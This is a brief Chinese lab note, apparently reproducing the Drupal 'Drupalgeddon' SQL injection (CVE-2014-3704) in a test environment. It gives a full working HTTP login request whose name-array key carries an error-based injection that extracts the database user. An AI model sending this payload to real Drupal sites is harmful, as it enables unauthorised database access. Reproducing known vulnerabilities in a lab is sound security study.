拉取环境
访问页面后配置界面
配置完成后显示下图
然后登录界面抓包
修改数据包
POST /?q=node&destination=node HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 120 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a ----------------------------------- Drupal <7.32“ Drupalgeddon” SQL注入漏洞(CVE-2014-3704) https://blog.51cto.com/u_15127631/4356420